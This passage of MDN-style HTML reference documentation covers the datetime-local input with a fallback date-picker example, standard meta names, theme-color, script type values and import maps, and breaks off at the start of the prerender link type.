code will not suffer from the Y2K38 problem unless integer coercion/bit-hacks are used because all JavaScript bit operators use 32-bit signed 2s-complement integers. The problem is with the server side of things: storage of dates greater than 2^31 - 1. To fix this problem, you must store all dates using either unsigned 32-bit integers, signed 64-bit integers, or double-precision floating points on the server. If your server is written in PHP, the fix may be as simple as upgrading to PHP 8 or 7, and upgrading your hardware to x86\_64 or IA64. If you are stuck with other hardware, you can try to emulate 64-bit hardware inside a 32-bit virtual machine, but most VMs don't support this kind of virtualization, since stability may suffer, and performance will definitely suffer greatly. The Y10k Problem (often client-side) ------------------------------------ In many servers, dates are stored as numbers instead of as strings--numbers of a fixed size and agnostic of format (aside from endianness). After the year 10,000, those numbers will just be a bit bigger than before, so many servers will not see issues with forms submitted after the year 10,000. The problem is with the client side of things: parsing of dates with more than 4 digits in the year. ``` <!--midnight of January 1st, 10000: the exact time of Y10K--> <input type="datetime-local" value="+010000-01-01T05:00" /> ``` It's that simple. Just prepare your code for any number of digits. Do not only prepare for 5 digits. Here is JavaScript code for programmatically setting the value: ``` function setValue(element, date) { const isoString = date.toISOString() element.value = isoString.substring(0, isoString.indexOf("T") + 6); } ``` Why worry about the Y10K problem if it is going to happen many centuries after your death? Exactly because you will already be dead, so the companies using your software will be stuck using your software without any other coder who knows the system well enough to come in and fix it. Examples -------- In this example we create two sets of UI elements for choosing datetimes — a native `<input type="datetime-local">` picker, and a set of five [`<select>`](../select) elements for choosing dates and times in older browsers that don't support the native input. The HTML looks like so: ``` <form> <div class="nativeDateTimePicker"> <label for="party">Choose a date and time for your party:</label> <input type="datetime-local" id="party" name="bday" /> <span class="validity"></span> </div> <p class="fallbackLabel">Choose a date and time for your party:</p> <div class="fallbackDateTimePicker"> <div> <span> <label for="day">Day:</label> <select id="day" name="day"></select> </span> <span> <label for="month">Month:</label> <select id="month" name="month"> <option selected>January</option> <option>February</option> <option>March</option> <option>April</option> <option>May</option> <option>June</option> <option>July</option> <option>August</option> <option>September</option> <option>October</option> <option>November</option> <option>December</option> </select> </span> <span> <label for="year">Year:</label> <select id="year" name="year"></select> </span> </div> <div> <span> <label for="hour">Hour:</label> <select id="hour" name="hour"></select> </span> <span> <label for="minute">Minute:</label> <select id="minute" name="minute"></select> </span> </div> </div> </form> ``` The months are hard-coded (as they are always the same), while the day and year values are dynamically generated depending on the currently selected month and year, and the current year respectively (see the code comments below for detailed explanations of how these functions work.) We also decided to dynamically generate the hours and minutes, as there are so many of them! The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports `<input type="datetime-local">`, we create a new [`<input>`](../input) element, try setting its `type` to `datetime-local`, then immediately check what its type is set to. Browsers that don't support `datetime-local` return `text`, since that's what `datetime-local` falls back to. If `<input type="datetime-local">` is not supported, we hide the native picker and show the fallback picker UI ([`<select>`](../select)) instead. ``` // Obtain UI widgets const nativePicker = document.querySelector('.nativeDateTimePicker'); const fallbackPicker = document.querySelector('.fallbackDateTimePicker'); const fallbackLabel = document.querySelector('.fallbackLabel'); const yearSelect = document.querySelector('#year'); const monthSelect = document.querySelector('#month'); const daySelect = document.querySelector('#day'); const hourSelect = document.querySelector('#hour'); const minuteSelect = document.querySelector('#minute'); // hide fallback initially fallbackPicker.style.display = 'none'; fallbackLabel.style.display = 'none'; // test whether a new datetime-local input falls back to a text input or not const test = document.createElement('input'); try { test.type = 'datetime-local'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if () {} block if (test.type === 'text') { // hide the native picker and show the fallback nativePicker.style.display = 'none'; fallbackPicker.style.display = 'block'; fallbackLabel.style.display = 'block'; // populate the days and years dynamically // (the months are always the same, therefore hardcoded) populateDays(monthSelect.value); populateYears(); populateHours(); populateMinutes(); } function populateDays(month) { // delete the current set of <option> elements out of the // day <select>, ready for the next set to be injected while (daySelect.firstChild) { daySelect.removeChild(daySelect.firstChild); } // Create variable to hold new number of days to inject let dayNum; // 31 or 30 days? if (['January', 'March', 'May', 'July', 'August', 'October', 'December'].includes(month)) { dayNum = 31; } else if (['April', 'June', 'September', 'November'].includes(month)) { dayNum = 30; } else { // If month is February, calculate whether it is a leap year or not const year = yearSelect.value; const isLeap = new Date(year, 1, 29).getMonth() === 1; dayNum = isLeap ? 29 : 28; } // inject the right number of new <option> elements into the day <select> for (let i = 1; i <= dayNum; i++) { const option = document.createElement('option'); option.textContent = i; daySelect.appendChild(option); } // if previous day has already been set, set daySelect's value // to that day, to avoid the day jumping back to 1 when you // change the year if (previousDay) { daySelect.value = previousDay; // If the previous day was set to a high number, say 31, and then // you chose a month with less total days in it (e.g. February), // this part of the code ensures that the highest day available // is selected, rather than showing a blank daySelect if (daySelect.value === "") { daySelect.value = previousDay - 1; } if (daySelect.value === "") { daySelect.value = previousDay - 2; } if (daySelect.value === "") { daySelect.value = previousDay - 3; } } } function populateYears() { // get this year as a number const date = new Date(); const year = date.getFullYear(); // Make this year, and the 100 years before it available in the year <select> for (let i = 0; i <= 100; i++) { const option = document.createElement('option'); option.textContent = year - i; yearSelect.appendChild(option); } } function populateHours() { // populate the hours <select> with the 24 hours of the day for (let i = 0; i <= 23; i++) { const option = document.createElement('option'); option.textContent = (i < 10) ? `0${i}` : i; hourSelect.appendChild(option); } } function populateMinutes() { // populate the minutes <select> with the 60 hours of each minute for (let i = 0; i <= 59; i++) { const option = document.createElement('option'); option.textContent = (i < 10) ? `0${i}` : i; minuteSelect.appendChild(option); } } // when the month or year <select> values are changed, rerun populateDays() // in case the change affected the number of available days yearSelect.onchange = () => { populateDays(monthSelect.value); } monthSelect.onchange = () => { populateDays(monthSelect.value); } //preserve day selection let previousDay; // update what day has been set to previously // see end of populateDays() for usage daySelect.onchange = () => { previousDay = daySelect.value; } ``` **Note:** Remember that some years have 53 weeks in them (see [Weeks per year](https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year))! You'll need to take this into consideration when developing production apps. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing a date and time (in the local time zone), or empty. | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`readonly`](../input#attr-readonly), and [`step`](../input#attr-step) | | **IDL attributes** | `list`, `value`, `valueAsNumber`. | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`stepDown()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepDown), [`stepUp()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepUp) | Specifications -------------- | Specification | | --- | | [HTML Standard # local-date-and-time-state-(type=datetime-local)](https://html.spec.whatwg.org/multipage/input.html#local-date-and-time-state-(type=datetime-local)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `datetime-local` | 20 | 12 | 93 | No | 11 | 14.1 | Yes | Yes | Yes | 11 | Yes | Yes | See also -------- * The generic [`<input>`](../input) element and the interface used to manipulate it, [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) * [`<input type="date">`](date) and [`<input type="time">`](time) * [Date and time formats used in HTML](../../date_and_time_formats) * [Date and Time picker tutorial](https://developer.mozilla.org/en-US/docs/Learn/Forms/Basic_native_form_controls#date_and_time_picker) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html Standard metadata names Standard metadata names ======================= The [`<meta>`](../meta) element can be used to provide document metadata in terms of name-value pairs, with the [`name`](../meta#attr-name) attribute giving the metadata name, and the [`content`](../meta#attr-content) attribute giving the value. ### Standard metadata names defined in the HTML specification The HTML specification defines the following set of standard metadata names: * `application-name`: the name of the application running in the web page. **Note:** + Browsers may use this to identify the application. It is different from the [`<title>`](../title) element, which usually contain the application name, but may also contain information like the document name or a status. + Simple web pages shouldn't define an application-name. * `author`: the name of the document's author. * `description`: a short and accurate summary of the content of the page. Several browsers, like Firefox and Opera, use this as the default description of bookmarked pages. * `generator`: the identifier of the software that generated the page. * `keywords`: words relevant to the page's content separated by commas. * `referrer`: controls the HTTP [`Referer`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) header of requests sent from the document: Values for the `content` attribute of `<meta name="referrer">` | `no-referrer` | Do not send a HTTP [`Referer`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) header. | | `origin` | Send the [origin](https://developer.mozilla.org/en-US/docs/Glossary/Origin) of the document. | | `no-referrer-when-downgrade` | Send the full URL when the destination is at least as secure as the current page (HTTP(S)→HTTPS), but send no referrer when it's less secure (HTTPS→HTTP). This is the default behavior. | | `origin-when-cross-origin` | Send the full URL (stripped of parameters) for same-origin requests, but only send the origin for other cases. | | `same-origin` | Send the full URL (stripped of parameters) for same-origin requests. Cross-origin requests will contain no referrer header. | | `strict-origin` | Send the origin when the destination is at least as secure as the current page (HTTP(S)→HTTPS), but send no referrer when it's less secure (HTTPS→HTTP). | | `strict-origin-when-cross-origin` | Send the full URL (stripped of parameters) for same-origin requests. Send the origin when the destination is at least as secure as the current page (HTTP(S)→HTTPS). Otherwise, send no referrer. | | `unsafe-URL` | Send the full URL (stripped of parameters) for same-origin or cross-origin requests. | **Note:** + Dynamically inserting `<meta name="referrer">` (with [`document.write()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/write) or [`appendChild()`](https://developer.mozilla.org/en-US/docs/Web/API/Node/appendChild)) makes the referrer behavior unpredictable. + When several conflicting policies are defined, the `no-referrer` policy is applied. * [`theme-color`](name/theme-color): indicates a suggested color that user agents should use to customize the display of the page or of the surrounding user interface. The `content` attribute contains a valid CSS [`<color>`](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value). The `media` attribute with a valid media query list can be included to set the media the theme color metadata applies to. * `color-scheme`: specifies one or more color schemes with which the document is compatible. The browser will use this information in tandem with the user's browser or device settings to determine what colors to use for everything from background and foregrounds to form controls and scrollbars. The primary use for `<meta name="color-scheme">` is to indicate compatibility with—and order of preference for—light and dark color modes. The value of the [`content`](../meta#attr-content) property for `color-scheme` may be one of the following: `normal` The document is unaware of color schemes and should be rendered using the default color palette. [`light` | `dark`]+ One or more color schemes supported by the document. Specifying the same color scheme more than once has the same effect as specifying it only once. Indicating multiple color schemes indicates that the first scheme is preferred by the document, but that the second specified scheme is acceptable if the user prefers it. `only light` Indicates that the document *only* supports light mode, with a light background and dark foreground colors. By specification, `only dark` *is not valid*, because forcing a document to render in dark mode when it isn't truly compatible with it can result in unreadable content; all major browsers default to light mode if not otherwise configured. For example, to indicate that a document prefers dark mode but does render functionally in light mode as well: ``` <meta name="color-scheme" content="dark light" /> ``` This works at the document level in the same way that the CSS [`color-scheme`](https://developer.mozilla.org/en-US/docs/Web/CSS/color-scheme) property lets individual elements specify their preferred and accepted color schemes. Your styles can adapt to the current color scheme using the [`prefers-color-scheme`](https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-color-scheme) CSS media feature. ### Standard metadata names defined in other specifications The CSS Device Adaptation specification defines the following metadata name: * `viewport`: gives hints about the size of the initial size of the [viewport](https://developer.mozilla.org/en-US/docs/Glossary/Viewport). Values for the content of `<meta name="viewport">` | Value | Possible subvalues | Description | | --- | --- | --- | | `width` | A positive integer number, or the text `device-width` | Defines the pixel width of the viewport that you want the website to be rendered at. | | `height` | A positive integer, or the text `device-height` | Defines the height of the viewport. Not used by any browser. | | `initial-scale` | A positive number between `0.0` and `10.0` | Defines the ratio between the device width (`device-width` in portrait mode or `device-height` in landscape mode) and the viewport size. | | `maximum-scale` | A positive number between `0.0` and `10.0` | Defines the maximum amount to zoom in. It must be greater or equal to the `minimum-scale` or the behavior is undefined. Browser settings can ignore this rule and iOS10+ ignores it by default. | | `minimum-scale` | A positive number between `0.0` and `10.0` | Defines the minimum zoom level. It must be smaller or equal to the `maximum-scale` or the behavior is undefined. Browser settings can ignore this rule and iOS10+ ignores it by default. | | `user-scalable` | `yes` or `no` | If set to `no`, the user is not able to zoom in the webpage. The default is `yes`. Browser settings can ignore this rule, and iOS10+ ignores it by default. | | `viewport-fit` | `auto`, `contain` or `cover` | The `auto` value doesn't affect the initial layout viewport, and the whole web page is viewable. The `contain` value means that the viewport is scaled to fit the largest rectangle inscribed within the display. The `cover` value means that the viewport is scaled to fill the device display. It is highly recommended to make use of the [safe area inset](https://developer.mozilla.org/en-US/docs/Web/CSS/env) variables to ensure that important content doesn't end up outside the display. | **Warning:** Disabling zooming capabilities by setting `user-scalable` to a value of `no` prevents people experiencing low vision conditions from being able to read and understand page content. + [MDN Understanding WCAG, Guideline 1.4 explanations](https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#guideline_1.4_make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background) + [Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html) ### Other metadata names The [WHATWG Wiki MetaExtensions page](https://wiki.whatwg.org/wiki/MetaExtensions) contains a large set of non-standard metadata names that have not been formally accepted yet; however, some of the names included there are already used quite commonly in practice — including the following: * `creator`: the name of the creator of the document, such as an organization or institution. If there are more than one, several [`<meta>`](../meta) elements should be used. * `googlebot`, a synonym of `robots`, is only followed by Googlebot (the indexing crawler for Google). * `publisher`: the name of the document's publisher. * `robots`: the behavior that cooperative crawlers, or "robots", should use with the page. It is a comma-separated list of the values below: | Value | Description | Used by | | --- | --- | --- | | `index` | Allows the robot to index the page (default). | All | | `noindex` | Requests the robot to not index the page. | All | | `follow` | Allows the robot to follow the links on the page (default). | All | | `nofollow` | Requests the robot to not follow the links on the page. | All | | `all` | Equivalent to `index, follow` | [Google](https://developers.google.com/search/docs/advanced/crawling/special-tags?visit_id=637855965067987211-415685194&rd=1) | | `none` | Equivalent to `noindex, nofollow` | [Google](https://developers.google.com/search/docs/advanced/crawling/special-tags?visit_id=637855965074074862-574753619&rd=1) | | `noarchive` | Requests the search engine not to cache the page content. | [Google](https://developers.google.com/search/docs/advanced/robots/robots_meta_tag), [Yahoo](https://help.yahoo.com/kb/search-for-desktop/SLN2213.html), [Bing](https://www.bing.com/webmasters/help/which-robots-metatags-does-bing-support-5198d240) | | `nosnippet` | Prevents displaying any description of the page in search engine results. | [Google](https://developers.google.com/search/docs/advanced/robots/robots_meta_tag), [Bing](https://www.bing.com/webmasters/help/which-robots-metatags-does-bing-support-5198d240) | | `noimageindex` | Requests this page not to appear as the referring page of an indexed image. | [Google](https://developers.google.com/search/docs/advanced/robots/robots_meta_tag) | | `nocache` | Synonym of `noarchive`. | [Bing](https://www.bing.com/webmasters/help/which-robots-metatags-does-bing-support-5198d240) | **Note:** + Only cooperative robots follow these rules. Do not expect to prevent email harvesters with them. + The robot still needs to access the page in order to read these rules. To prevent bandwidth consumption, use a *[robots.txt](https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt)* file. + If you want to remove a page, `noindex` will work, but only after the robot visits the page again. Ensure that the `robots.txt` file is not preventing revisits. + Some values are mutually exclusive, like `index` and `noindex`, or `follow` and `nofollow`. In these cases the robot's behavior is undefined and may vary between them. + Some crawler robots, like Google, Yahoo and Bing, support the same values for the HTTP header `X-Robots-Tag`; this allows non-HTML documents like images to use these rules. Specifications -------------- | Specification | | --- | | [HTML Standard # standard-metadata-names](https://html.spec.whatwg.org/multipage/semantics.html#standard-metadata-names) | | [Referrer Policy # referrer-policy-delivery-meta](https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-delivery-meta) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `name` | 1 | 12 | 1 | ≤6 | ≤12.1 | ≤4 | 4.4 | 18 | 4 | ≤12.1 | ≤3 | 1.0 | | `color-scheme` | 81 | 81 | 96 | No | 68 | 12.1 | 81 | 81 | 96 | No | 12.2 | 13.0 | | `referrer` | 17 Until Chrome 46, `content` values weren't constrained to the values listed in the spec. | 79 | 36 The `referrer` value wasn't taken into account when navigation was happening via the context menu or middle click until Firefox 39. | 11 Browsers initially supported an [early draft](https://wiki.whatwg.org/wiki/Meta_referrer) of the specification which can only use a meta tag and is only compatible with the `origin` value from the new spec. | 15 Until Opera 46, `content` values weren't constrained to the values listed in the spec. | 11.1 | 37 Until Chrome 46, `content` values weren't constrained to the values listed in the spec. | 18 Until Chrome 46, `content` values weren't constrained to the values listed in the spec. | 36 The `referrer` value wasn't taken into account when navigation was happening via the context menu or middle click until Firefox 39. | No | 12 | 1.0 Until Samsung Internet 5.0, `content` values weren't constrained to the values listed in the spec. | | `scheme` | 1 | 12 | 1 | ≤6 | ≤12.1 | ≤4 | 4.4 | 18 | 4 | ≤12.1 | ≤3 | 1.0 | | `theme-color` | 73 Chrome uses the color only on installed progressive web apps. 39-72 Chrome reports support, but does not actually use the color anywhere. | 79 Edge uses the color only on installed progressive web apps. | No | No | No | 15 | No | 80 Chrome for Android does not use the color on devices with native dark mode enabled. | No | No | 15 | 6.2 | See also -------- * [Viewport `<meta>` tag](../../viewport_meta_tag) * [Metadata: the `<meta>` element](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#metadata_the_meta_element) in [What's in the head? Metadata in HTML](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) html theme-color theme-color =========== The `theme-color` value for the [`name`](../../meta#attr-name) attribute of the [`<meta>`](../../meta) element indicates a suggested color that user agents should use to customize the display of the page or of the surrounding user interface. If specified, the [`content`](../../meta#attr-content) attribute must contain a valid CSS [`<color>`](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value). Example ------- ``` <meta name="theme-color" content="#4285f4" /> ``` The following image shows the effect that the [`<meta>`](../../meta) element above will have on a document displayed in Chrome running on an Android mobile device. *Image credit: from [Icons & Browser Colors](https://web.dev/icons-and-browser-colors/), created and shared by Google and used according to terms described in the [Creative Commons 4.0 Attribution License](https://creativecommons.org/licenses/by/4.0/).* You can provide a media type or query inside the [`media`](../../meta#attr-media) attribute; the color will then only be set if the media condition is true. For example: ``` <meta name="theme-color" media="(prefers-color-scheme: light)" content="cyan" /> <meta name="theme-color" media="(prefers-color-scheme: dark)" content="black" /> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # meta-theme-color](https://html.spec.whatwg.org/multipage/semantics.html#meta-theme-color) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `theme-color` | 73 Chrome uses the color only on installed progressive web apps. 39-72 Chrome reports support, but does not actually use the color anywhere. | 79 Edge uses the color only on installed progressive web apps. | No | No | No | 15 | No | 80 Chrome for Android does not use the color on devices with native dark mode enabled. | No | No | 15 | 6.2 | See also -------- * [`color-scheme`](https://developer.mozilla.org/en-US/docs/Web/CSS/color-scheme) CSS property * [`prefers-color-scheme`](https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-color-scheme) media query html <script>: type attribute <script>: type attribute ======================== The `type` attribute of the [`<script>`](../script) element indicates the *type* of script represented by the element: a classic script, a JavaScript module, an import map, or a data block. Value ----- The value of this attribute indicates the type of data represented by the script, and will be one of the following: **Attribute is not set (default), an empty string, or a JavaScript MIME type** Indicates that the script is a "classic script", containing JavaScript code. Authors are encouraged to omit the attribute if the script refers to JavaScript code rather than specify a MIME type. JavaScript MIME types are [listed in the IANA media types specification](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#javascript_types). `module` This value causes the code to be treated as a JavaScript module. The processing of the script contents is deferred. The `charset` and `defer` attributes have no effect. For information on using `module`, see our [JavaScript modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) guide. Unlike classic scripts, module scripts require the use of the CORS protocol for cross-origin fetching. [`importmap`](type/importmap) This value indicates that the body of the element contains an import map. The import map is a JSON object that developers can use to control how the browser resolves module specifiers when importing [JavaScript modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules#importing_modules_using_import_maps) **Any other value** The embedded content is treated as a data block, and won't be processed by the browser. Developers must use a valid MIME type that is not a JavaScript MIME type to denote data blocks. All of the other attributes will be ignored, including the `src` attribute. **Note:** In earlier browsers, the type identified the scripting language of the embedded or imported (via the `src` attribute) code. Specifications -------------- **No specification found**No specification data found for `html.elements.script.type`. [Check for problems with this page](#on-github) or contribute a missing `spec_url` to [mdn/browser-compat-data](https://github.com/mdn/browser-compat-data). Also make sure the specification is included in [w3c/browser-specs](https://github.com/w3c/browser-specs). Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `type` | 1 | 12 | 1 | Yes | Yes | Yes | Yes | Yes | 4 | Yes | Yes | Yes | | `importmap` | 89 | 89 | 108 | No | 75 | No | 89 | 89 | 108 | 63 | No | 15.0 | | `module` | 61 Module scripts without the `async` attribute do not load when the page is served as XHTML (`application/xhtml+xml`). See [bug 717643](https://crbug.com/717643). | 79 Module scripts without the `async` attribute do not load when the page is served as XHTML (`application/xhtml+xml`). See [bug 717643](https://crbug.com/717643). 16-79 | 60 | No | 48 Module scripts without the `async` attribute do not load when the page is served as XHTML (`application/xhtml+xml`). See [bug 717643](https://crbug.com/717643). | 10.1 Module scripts do not load when the page is served as XHTML (`application/xhtml+xml`). | 61 Module scripts without the `async` attribute do not load when the page is served as XHTML (`application/xhtml+xml`). See [bug 717643](https://crbug.com/717643). | 61 Module scripts without the `async` attribute do not load when the page is served as XHTML (`application/xhtml+xml`). See [bug 717643](https://crbug.com/717643). | 60 | 45 Module scripts without the `async` attribute do not load when the page is served as XHTML (`application/xhtml+xml`). See [bug 717643](https://crbug.com/717643). | 10.3 Module scripts do not load when the page is served as XHTML (`application/xhtml+xml`). | 8.0 Module scripts without the `async` attribute do not load when the page is served as XHTML (`application/xhtml+xml`). See [bug 717643](https://crbug.com/717643). |
programming_docs
html <script type="importmap"> <script type="importmap"> ========================= The `importmap` value of the [`type`](../type) attribute of the [`<script>` element](../../script) indicates that the body of the element contains an import map. An import map is a JSON object that allows developers to control how the browser resolves module specifiers when importing [JavaScript modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules). It provides a mapping between the text used as the module specifier in an [`import` statement](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) or [`import()` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import), and the corresponding value that will replace the text when resolving the specifier. The JSON object must conform to the [Import map JSON representation format](#import_map_json_representation). Note that the import map applies only to module specifiers in the [`import` statement](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) or [`import()` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import); it does not apply to the path specified in the `src` attribute of a `<script>` element. For more information, see the [Importing modules using import maps](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules#importing_modules_using_import_maps) section in the JavaScript modules guide. Syntax ------ ``` <script type="importmap"> // JSON object defining import </script> ``` The `src`, `async`, `nomodule`, `defer`, `crossorigin`, `integrity`, and `referrerpolicy` attributes must not be specified. Only the first import map in the document with an inline definition is processed; any additional import maps and external import maps are ignored. An [`error` event](https://developer.mozilla.org/en-US/docs/Web/API/Element/error_event) is fired at script elements with `type="importmap"` that are not processed (are ignored). ### Exceptions `TypeError` The import map definition is not a JSON object, the `importmap` key is defined but its value is not a JSON object, or the `scopes` key is defined but its value is not a JSON object. Browsers generate console warnings for other cases where the import map JSON does not conform to the [import map](#import_map_json_representation) schema. Description ----------- When importing a [JavaScript module](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules), both the [`import` statement](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) and [`import()` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import) have a "module specifier" that indicates the module to be imported. A browser must be able to resolve this specifier to an absolute URL in order to import the module. For example, the following statements import elements from the module specifier `"./modules/shapes/square.js"`, which is a path relative to the base URL of the document, and the module specifier `"https://example.com/shapes/circle.js"`, which is an absolute URL. ``` import { name as squareName, draw } from "./modules/shapes/square.js"; import { name as circleName } from "https://example.com/shapes/circle.js"; ``` Import maps allow developers to specify (almost) any text they want in the module specifier; the map provides a corresponding value that will replace the text when the module specifier is resolved. ### Bare modules The import map below defines an `imports` key that has a "module specifier map" with properties `square` and `circle`. ``` <script type="importmap"> { "imports": { "square": "./module/shapes/square.js", "circle": "https://example.com/shapes/circle.js" } } </script> ``` With this import map we can import the same modules as above, but using "bare modules" in our module specifiers: ``` import { name as squareName, draw } from "square"; import { name as circleName } from "circle"; ``` ### Mapping path prefixes A module specifier map key can also be used to remap a path prefix in a module specifier. Note that in this case the property and mapped path must both have a trailing forward slash (`/`). ``` <script type="importmap"> { "imports": { "shapes/": "./module/shapes/", "othershapes/": "https://example.com/modules/shapes/" } } </script> ``` We could then import a circle module as shown. ``` import { name as squareName, draw } from "shapes/circle.js"; ``` ### Paths in the module specifier map key Module specifier keys do not have to be single word names ("bare names"). They can also contain or end with path separators, or be absolute URLs, or be relative URL paths that start with `/`, `./`, or `../`. ``` { "imports": { "modules/shapes/": "./module/src/shapes/", "modules/square": "./module/src/other/shapes/square.js", "https://example.com/modules/square.js": "./module/src/other/shapes/square.js", "../modules/shapes/": "/modules/shapes/", } } ``` If there are several module specifier keys in a module specifier map that might match, then the most specific key will be selected (i.e. the one with the longer path/value). A module specifier of `./foo/../js/app.js` would be resolved to `./js/app.js` before matching. This means that a module specifier key of `./js/app.js` would match the module specifier even though they are not exactly the same. ### Scoped module specifier maps You can use the `scopes` key to provide mappings that are only used if the script importing the module contains a particular URL path. If the URL of the loading script matches the supplied path, the mapping associated with the scope will be used. This allows different versions of the module to be used depending on what code is doing the importing. For example, the map below will only use the scoped map if the loading module has a URL that includes the path: "/modules/customshapes/". ``` <script type="importmap"> { "imports": { "square": "./module/shapes/square.js", }, "scopes": { "/modules/customshapes/": { "square": "https://example.com/modules/shapes/square.js" } } } </script> ``` If multiple scopes match the referrer URL, then the most specific scope path is used (the scope key name with the longest name). The browser falls back to the next most specific scoped path if there is no matching specifier, and so on, eventually falling back to the module specifier map in the `imports` key. Import map JSON representation ------------------------------ The following is a "formal" definition of the import map JSON representation. The import map must be a valid JSON object that can define at most two optional keys: `imports` and `scopes`. Each key's value must be an object, which may be empty. `imports` Optional The value is a [module specifier map](#module_specifier_map), which provides the mappings between module specifier text that might appear in an `import` statement or `import()` operator, and the text that will replace it when the specifier is resolved. This is the fallback map that is searched for matching module specifiers if no `scopes` path URLs match, or if module specifier maps in matching `scopes` paths do not contain a key that matches the module specifier. `<module specifier map>` A "module specifier map" is a valid JSON object where the *keys* are text that may be present in the module specifier when importing a module, and the corresponding *values* are the URLs or paths that will replace this text when the module specifier is resolved to an address. The modifier specifier map JSON object has the following requirements: * None of the keys may be empty. * All of the values must be strings, defining either a valid absolute URL or a valid URL string that starts with `/`, `./`, or `../`. * If a key ends with `/`, then the corresponding value must also end with `/`. A key with a trailing `/` can be used as a prefix for when mapping (or remapping) modules addresses. * The object properties' ordering is irrelevant: if multiple keys can match the module specifier, the most specific key is used (in other words, a specifier "olive/branch/" would match before "olive/"). `scopes` Optional Scopes define path-specific [module specifier maps](#module_specifier_map), allowing the choice of map to depend on the path of the code importing the module. The scopes object is a valid JSON object where each property is a `<scope key>`, which is an URL path, with a corresponding value that is a `<module specifier map>`. If the URL of a script importing a module matches a `<scope key>` path, then the `<module specifier map>` value associated with the key is checked for matching specifiers first. If there are multiple matching scope keys, then the value associated with the most specific/nested scope paths are checked for matching modifier specifiers first. The fallback module specifier map in `imports` is used if there are no matching module specifier keys in any of the matching scoped module specifier maps. Note that the scope does not change how an address is resolved; relative addresses are always resolved to the import map base URL. Specifications -------------- | Specification | | --- | | [HTML Standard # import-map](https://html.spec.whatwg.org/multipage/webappapis.html#import-map) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `importmap` | 89 | 89 | 108 | No | 75 | No | 89 | 89 | 108 | 63 | No | 15.0 | See also -------- * [JavaScript modules > Importing modules using import maps](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules#importing_modules_using_import_maps) * [The `type` attribute of HTML `<script>` elements](../../script#attr-type) * [`import` statement](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) * [`import()` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import) html Link types: prerender Link types: prerender ===================== **Experimental:** **This is an [experimental technology](https://developer.mozilla.org/en-US/docs/MDN/Writing_guidelines/Experimental_deprecated_obsolete#experimental)** Check the [Browser compatibility table](#browser_compatibility) carefully before using this in production. The `prerender` keyword for the [`rel`](../element/link#attr-rel) attribute of the [`<link>`](../element/link) element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the 